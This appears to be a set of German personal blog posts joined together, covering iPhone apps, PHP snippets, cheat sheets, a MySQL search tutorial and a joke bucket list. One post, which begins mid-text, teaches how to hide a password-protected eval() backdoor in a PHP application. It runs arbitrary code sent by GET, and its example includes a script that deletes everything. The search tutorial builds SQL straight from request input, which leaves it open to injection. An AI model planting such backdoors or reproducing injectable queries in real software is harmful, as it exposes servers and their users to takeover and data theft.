Opera Mini

Ich benutze Safari schon lange nicht mehr. Statdessen verwende ich Opera Mini, den man im App Store findet.

Abgesehen davon, dass er, wie ich finde, um einiges schneller ist, hat er auch viele nützliche Funktionen und ist einfacher zu bedienen. Auch formatiert er einige Websiten so, das man sie mit dem IPhone viel einfacher lesen kann.

Preis: Gratis (Stand: 30.08.2010)

Search.ch

Das Serch.ch ist ein  nüzliches App, um Telefonnummern in der Schweiz zu suchen. Dazu findet man zusäzlich noch Informationen über den ÖV und das Wetter.

Preis: Gratis (Stand: 30.08.2010)

Gulli:news

Mit diesem App kann man einfach und bequem die News von Gulli.com lesen (wie der Name schon verrät ). Der Inhalt wird für’s IPhone optimiert angezeigt, und man sieht auch die letzten Kommentare zum Artikel.

Preis: Gratis (Stand: 30.08.2010)

Byline

Byline ist mein lieblings App um RSS-Feeds zu lesen. Es kann mit Google Reader und anderen Diesnsten synchronisiert werden. Der Inhalt wird schön leserlich dargestellt, und es gibt eine coole “swap-Funktion”, um von Artikel zu Artikel zu springen.

Die Gratisversion blendet ein wenig Werbung ein, wenn man das nicht will, kann man sich die Vollversion für 5.50 CHF erwerben (Stand 31.08.2010).

Facebook

Für alle Facebooksuchties das absolute musthave App. Seit dem letzten Update noch einfacher und konfortabler zu handhaben. Allerdings sollte man sich vor “Facebook Orte” achten, ansonsten wissen deine Freunde in Facebook immer, wo du dich gerade befindest

Preis: Gratis (Stand 31.08.2010)

Ich schreibe mir dazu meist noch ein Script, das mir die gesamten Daten (aus der DB)  zum Download anbietet, und danach die DB löscht. Dazu kann man auch noch eine .htaccess Datei erstellen, die den Zugriff übers Internet sperrt.

So kann man bei einer Übernahme des Servers gebührend zurückschlagen, und den Server z.B. neu aufsetzen und konfigurieren.

Nochwas: Misbraucht dieses Wissen nicht! Erstellt einen Backdoor nur auf eurer eigenen Applikation, und gebt diese nicht weiter. Schützt den Backdoor (ich zeige euch wie). Ich übernehme keine Haftung für irgendwelche Schäden die ihr mit diesem Wissen anrichtet.

Los geht’s

Zuerst müssen wir uns fragen, was unser Backdoor bewirken soll. Wie ich oben schon erwähnt habe, wollen wir Code ausführen (lassen). Dazu gibt es eine praktische Funktion: eval()

Jetzt müssen wir uns fragen, wie wir den Code, der ausgeführt werden soll, an die Applikation schicken. Ich schlage hier GET vor.

Und nun müssen wir uns Gedanken über die Sicherheit machen. Hier schlage ich euch eine Passwortabfrage vor.

Ich will den Code also wie folgt ausführen können: dieDateiMitDemBackdoor.php?bdpw=einPasswort&cmd=echo(“Ich verwende einen Backdoor!”);

Ich zeige euch einfach mal den Code, den ihr möglichst versteckt auf der Applikation einbinden müsst:

if(isset($_GET["cmd"]) && isset($_GET["bdpw"])){
    if($_GET["bdpw"] == "einPasswort"){
       eval(stripslashes($_GET["cmd"]));
    }
}

Wenn also das Passwort und die Befehle existieren, und das Passwort stimmt, werden die Befehle ausgeführt. Das stripslashes() braucht man, weil die Befehle mit GET übergeben wurden.

Das Passwort könnte man auch nur md5 Verschlüsselt akzeptieren.

Um nun ein Script auszuführen, wie ich oben schon erwähnt habe, kann man dieses einfach über include() einbinden. Also: dieDateiMitDemBackdoor.php?bdpw=einPasswort&cmd=include(“LoeschAllesRunter.php”);

So findet man einen Backdoor im Code

Du hast eine Applikation und vermutest einen Backdoor? Um das zu überprüfen durchsuchst du am besten alle Dateien nach einem der folgenden Funktionen:

• eval()
• system()
• exec()
• passthru()

Ich werde versuchen, diese Liste immer möglichst zu ergänzen.

Anmerkung

Ihr seid noch keine “Hacker” weil ihr nun einen Backdoor “Programmieren” könnt.

Baut sowas nur dann ein, wenn ihr denkt, das man einen Backdoor gebrauchen kann! Das Risiko, das jemand anders diesen Backdoor benutzt ist relativ gross.

Fangen wir mit dem einlesen der Seite an:

//Config
//------
$link = "http://www.dedu.ch/"; // Zu durchsuchende Website
$pattern = "~\(.*)\~"; // Der anzuwendede Pattern
 
//Script
//------
 
//liest File ein:
$site = file_get_contents($link);
if($site === false){
    die("Link konnte nicht gelesen werden...");
}

Zuerst wird der Inhalt der Website mit file_gets_contents() eingelesen. Mit Inhalt meine ich hier den Quelltext, also das HTML der Seite.

Als nächstes wollen wir mit unserem Pattern suchen:

//Config
//------
$link = "http://www.dedu.ch/"; // Zu durchsuchende Website
$pattern = "~\(.*)\~"; // Der anzuwendede Pattern
 
//Script
//------
 
//liest File ein:
$site = file_get_contents($link);
if($site === false){
    die("Link konnte nicht gelesen werden...");
}
 
// Sucht mit dem Pattern
$result = preg_match_all($pattern, $site, $matches, PREG_SET_ORDER);
if($result == null){
    die("<strong>Keine Resultate...</strong>");
}

Jetzt habe ich also alle Treffer in der Variable $result drinn. $result ist ein Array.

Es wird alles gefunden, was im RegEx in Klammern “()” steht. Was RegEx ist, und wie es funktioniert werde ich euch hier nicht erklären. Google wird euch schon helfen

Hier noch das gesamte Script, mit ein paar Änderungen, die euch das Resultat auch noch direkt in einer Tabelle ausgeben:

//Config
//------
$link = "http://www.dedu.ch/"; // Zu durchsuchende Website
$pattern = "~\<a.*rel=\"(.*)\".*\>(.*)\</a\>~"; // Der anzuwendede Pattern
 
//Script
//------
 
echo "<h1>Ergebniss</h1>";
echo "Link: ".htmlspecialchars($link);
echo "<br/>Pattern: ".htmlspecialchars($pattern);
 
//liest File ein:
$site = file_get_contents($link);
if($site === false){
    die("Link konnte nicht gelesen werden...");
}
 
// Sucht mit dem Pattern
$result = preg_match_all($pattern, $site, $matches, PREG_SET_ORDER);
if($result == null){
    die("<br/><br/><br/><b>Keine Resultate...</b>");
}
//Suche die Maximale Anzahl an treffern:
$max = 0;
foreach($matches as $key => $array){
    if(count($array) > $max){
        $max = count($array);
    }
}
 
//Schreibt eine Tabelle:
echo "<table>";
    echo "<tr>";
    for($x=0;$x<$max;$x++){
        if($x==0){
            echo "<td><b>Gesamter String</b></td>";
        }else{
            echo "<td><b>Treffer in Pattern ".$x."</b></td>";
        }
    }
    echo "</tr>";
 
    foreach($matches as $key => $array){
        $x=0;
        echo "<tr style='background:#E1E1E0;'>";
        foreach($array as $key2 => $value){
            echo "<td>".htmlspecialchars($value)."</td>";
            $x++;
        }
        //Füllt noch leere zellen ein
        for($y=$x;$y<$max;$y++){
            echo "<td> </td>";
        }
        echo "</tr>";
    }
echo "</table>";

So siehts aus

Hier erstmal den Code:

<?php
 
/*
 * Dieses Script in eine PHP-Datei kopieren. Nehmen wir mal an die Datei heisst getFile.php
 * Wenn ich jertr eine Datei Downloaden möchte, rufe ich die Datei wiefolgt auf: getFile.php?q=dieDatei.avi
 * Wobei "dieDatei.avi" natürlich die Datei ist, die Gedownloadet werden soll.
 * die Variable $dateiPfad muss angepass werden. Wenn sich alle Dateien die du Downloaden möchtest im
 * Verzeichniss "downloads" befinden, muss du dort $dateiPfad = "downloads/"; schreiben. Den Slash nicht vergessen...
 *
 * Lizenz beachten: http://www.dedu.ch/?p=209
 */
 
//Config
$dateiPfad = ""; //Hier den Pfad zum Ordner angeben, in dem die Dateien liegen! z.B. Pic/download/
 
//Script
if(isset($_GET["q"]) && $_GET["q"] != null){
    //RegEx für Filname
    $pattern = "~^[a-zA-Z0-9_-]+\.[a-zA-Z]+$~";
    if(preg_match($pattern, $_GET["q"])){
        $cPfad = $dateiPfad.$_GET["q"];
        if(is_file($cPfad) && file_exists($cPfad)){
            header("Content-Type: application/octet-stream");
            header("Content-Disposition: attachment; filename=\"".$_GET["q"]."\"");
            readfile($cPfad);
        }else{
            echo("Kein gültiges File, oder File existiert nicht...");
        }
    }else{
        echo("Keine gültige Datei...");
    }
}else{
    echo("Parameter 'q' fehlt...");
}
 
?>

Verwendung und Installation

Kopiert den Code in ein neues PHP-File. Nennt dieses z.B. getFile.php

Alle Dateien die ihr nun darüber Downloaden wollt, müssen im selben Ordner liegen. Diesen müsst ihr in der Variable $dateiPfad angeben. Liegen eure Dateien aber im selben Ordner wie das Script, lasst ihr die Variable einfach leer.

Aber wie Downloade ich nun darüber? Wenn ihr euer File getFile.php genannt habt, und ihr eine Datei Namens “download01.txt” downloaden wollt, muss der aufruf der Datei getFile.php wiefolgt aussehen:

<a href="getFile.php?q=download01.txt">Download</a>

Die Dateinamen müssen natürlich angepasst werden…

Lizenz

PHP Downloadscript von Matthias Dunkel steht unter einer Creative Commons Attribution-ShareAlike 3.0 Unported Lizenz.
Beruht auf einem Inhalt unter www.dedu.ch.

Hier möchte ich euch aufzeigen, welche ich benutze, oder welche ich für nüzlich halte.

Cheat Sheets

PHP

Ein Cheat Sheet, das ich viel verwende. Habe es hier gefunden. Auf dieser Seite findet man noch Tonnen von anderen Cheat Sheets, und ich werde euch sicher noch ein paar weitere von dieser Seite vorstellen. Es ist aber darauf zu achten, das es auf dieser Seite manchmal alte und neue Versionen gibt.

Eine gute Referenz ist auch dieses Cheat Sheet, das sich aber über mehrere Seiten erstrekt.

Regex

Wieder ein Cheat Sheet von AddedBytes über Regular Expressions. Ich mag dieses speziell, da es auch Beispiele enthält.

Hier noch eine HTML-Version über Regex (.NET).

CSS

Das “must have” Css Cheat Sheet.

Hier noch eine HTML-Version, die ein paar grundlegende Sachen enthält, aber nicht zu stark ins Detail geht.

JavaScript

Ein JavaScript Cheat Sheet von AddedBytes.

JQuery

Ein tolles Cheat Sheet über JQuery in der Version 1.4, kompakt auf einer A4 Seite mit vielen schön geordneten Befehlen.

HTML

Ich glaube zwar kaum, das man dazu ein Cheat Sheet braucht, wer es aber totzdem will: Klick mich!

Shortcuts

Hier findet ihr gleich sechs Cheat Sheet, mit Shortcuts zu folgenden Programmen:

• 3DS max
• cinema 4d R8
• Freehand
• Illustrator
• Indesign
• Photoshop

Sehr schön gestaltet, und sehr entfehlenswert.

Das Wort zum Schluss

Ich werde versuchen, diesen Artikel immer aktuell zu halten, und neue Cheat Sheets hinzuzufügen, falls ich welche finde.

Und denkt an die Umwelt, und druckt nicht einfach alles aus. Sucht euch die paar besten aus. Wenn ihr zuviel habt, braucht ihr zu lange um die gewünschte Infos zu finden

Ich setze in diesem Tutorial vorraus, das ihr ein wenig MySQL beherrscht, sowie PHP und ihr HTML im schlaf könnt.

Nehmen wir mal an, wir hätten in der Datenbank eine Tabelle mit Adressen. Wenn wir alle Adressen raussuchen wollen, sieht ja das dann irgendwie so aus (angenommen wir hätten verschiedene Seiten):

SELECT * FROM adresse
LIMIT 0,20

So kriegen wir die ersten zwanzig Einträge der Datenbank (unsortiert). Dieses Resultat wir dan z.B. in eine Liste “umgewandelt”. Wie das geht, werde ich euch hier nicht erklären

Nun erstellt doch bitte euer Suchfeld in HTML (Ich setze vorraus, das ihr das könnt).  Fertig? Gut, machen wir weiter

Ich habe meinem Suchfeld den Namen “suche” gegeben, mit dem man nach einem Namen in der Datenbank suchen kann. Um eine Sucher zu realisieren, brauchen wir eigentlich nichts anderes zu tun, als die SQL-Abfrage zu verändern:

SELECT * FROM adresse
WHERE name LIKE '%ma%'
LIMIT 0,20

Mit diesem “WHERE” habe ich eigentlich schon meine Suche erstell. Zur Erklärung: Das Prozentzeichen heisst soviel wie “Irgendetwas”. Es nimmt also alle Eiträge die zuerst “irgendwas” (oder nichts) haben, dannach “ma” und dann wieder “irgendwas” (oder eben nichts). Findet z.B. Matthias; Max; Asamat;Oma;…

Das ganze mit PHP sieht dann irgendwie so aus:

if(isset($_POST["suche"]) && $_POST["suche"] != null){
    $sql = "SELECT * FROM adresse
              WHERE name LIKE '%".$_POST["suche"]."%'
              LIMIT ".$_GET["seite"]*20.",20";
}else{
    $sql = "SELECT * FROM adresse
              LIMIT ".$_GET["seite"]*20.",20";
}
 
//Hier verarbeitet ihr eure Daten...

Das Script macht folgendes: Mit der if-Abfrage wird “geschaut”, ob eine Suche ausgeführt wurde. Falls ja, wird das SQL mit der Suche (wie oben beschrieben) “zusammengebastelt”, falls nein, das ganz normale SQL verwendet. Das mit dem “$_GET["seite"]” ist für die verschiedenen Seiten, und hat mit diesem Tutorial nichts zu tun.

Ich hoffe, ich konnte euch eine Idee vermitteln, wie man eine Suche realisiert, und das es euch geholfen hat.

Danke fürs lesen, Fragen wie immer in die Kommentare

Was das ist? Wie der Namen schon sagt, ist es Liste von dingen, die ich Leben noch tun will.

Achja, meine Liste wird wohl keine sehr klugen Ideen beinhalten, und könnte auf manche Personen anstössig wirken. Falls Sie keinen Sinn für Humor haben, Sarkasmus und Ironie nicht verstehen, bitte ich Sie diese Seite zu verlassen Ich übernehme keinerlei Haftung, falls ihr Hirn beim weiterlesen Schaden nimmt. Bitte keine Ideen übernehmen, und nicht ausführen.

Wenn Sie beim oberen Paragraphen gelacht oder geschmunzelt haben, dürfen Sie sich die Liste anschauen.

The list

• Mich mit Wasserballönen (schreibt man das so?) an den Garten des Nachbaren anschleichen, und seine laute Soundanlage bewerfen.
• Mit einem Plüschtierhund in der Stadt gassie gehen.
• Bei einer Durchsage im Supermarkt auf die Knie fallen, und laut “Die Stimmen, sie sind wieder da!” schreien.
• In einer Bar das Bier eines Wildfremden trinken (wenn er anwesend ist).
• Der Polizei auf einem PostIt eine Busse an die Windschutzscheibe kleben.
• Den Busfahrer wie einen Txifahrer behandeln.
• An der Migros-Kasse Verhandeln, und danach mit Yeng (oder so) bezahlen.
• Gleichzeitig Babynahrung und Kondome kaufen.
• Bei der Arbeit anrufen und behaupten, man könne heute nicht zur Arbeit erscheinen, weil seine neue Lieblingsserie heute Startet.
• Vom Mond springen (WTF?)
• Ein Bier kaufen und nicht trinken.
• Drei Chikennuggets-Menüs-Medium-mit-neun-Nuggets-und-Cola-und-Sweet’n'Sour-Sauce in 20min essen.
• Fett werden.
• Nebens Klo scheissen.
• Facebook Profil löschen.
• Laptop ause’m Fenster werfen.
• Handy kaufen und beim Weg ausem Laden in de Müll schmeissen
• 18 werden.

Weitere kranke Ideen folgen

Als erstes nehmen wir einen mehrdimensionalen Array:

$foo = array(
		array("zeit 1", 120),
		array("zeit 2", 90),
		array("zeit 3", 345),
		array("zeit 4", 256),
		array("zeit 5", 257),
		array("zeit 6", 1023)
	  );

Als Beispiel habe ich einfach mal einen Array mit Zeiten (in Sekunden) genommen. Wie man sieht, ist dieser nach den “Zeitnamen” sortiert, und nicht nach den Zeiten ansich. Dies wollen wir jetzt ändern, so das die grösste Zeit ganz oben im Array steht.

Ich Zeige euch jetzt erstmal den ganzen Code, und werde ihn dan erklären.

		//Unser mehrdimensionaler Array:
		$foo = array(
					array("zeit 1", 120),
					array("zeit 2", 90),
					array("zeit 3", 345),
					array("zeit 4", 256),
					array("zeit 5", 257),
					array("zeit 6", 1023)
				);
		//Ausgeben (ungeordnet):
		print_r($foo);
		//Ordnen:
		$tmp = Array(); //Temporaeres Array
                foreach($foo as $ma)
                    $tmp[] = $ma[1];
                array_multisort($tmp, SORT_DESC, $foo);
		//Ausgeben (geordnet):
		print_r($foo);

Um noch etwas klarzustellen. Rauskopieren und verwenden ist zwar erlaubt, bringt euch aber nichts Lest lieber die folgende Beschreibung, und versteht, was da gemacht wird.

Also, am anfang steht der Array. Danach gebe ich mit print_r den Array zur kontrolle aus. (Ihr müsst eventuell noch ein <pre>-Tag darum machen, damit ihr die Ausgabe richtig sehen könnt.)

Jetzt kommt der spannende Teil Als erstes wird ein Temporäres Array erzeugt ($tmp), das nur für die Sortierung gebraucht wird. Jetz nehme ich in einer foreach-Schlaufe jede Zeit und schreibe sie in das $tmp-Array.

Jetzt stehen im Temporären Array also nur die Zeiten drinn. Jetzt können wir mit der Funktion array_multisort erst das Array $tmp ordnen, und diese “Ordnung” dann auf unser mehrdimensianles Array übertragen. Wie das genau funktioniert, kann ich euch nicht erklären (also was die Funktion array_multisort genau macht). Wenn es jemand weis, kann er gerne einen Kommentar hier lassen

Wenn wir uns denn Array nun Ausgeben lassen, sehen wir, das er geordnet ist. Mann kann nun auch das “SORT_DESC” in “SORT_ASC” umändern, um den Array entweder absteigend oder aufsteigen zu ordnen. Mehr Informationen darüber erhaltet iht hier.

Fragen und Kritik (oder Lob) wie immer in die Kommentare

Danke für’s lesen, und ich hoffe, es hat euch geholfen!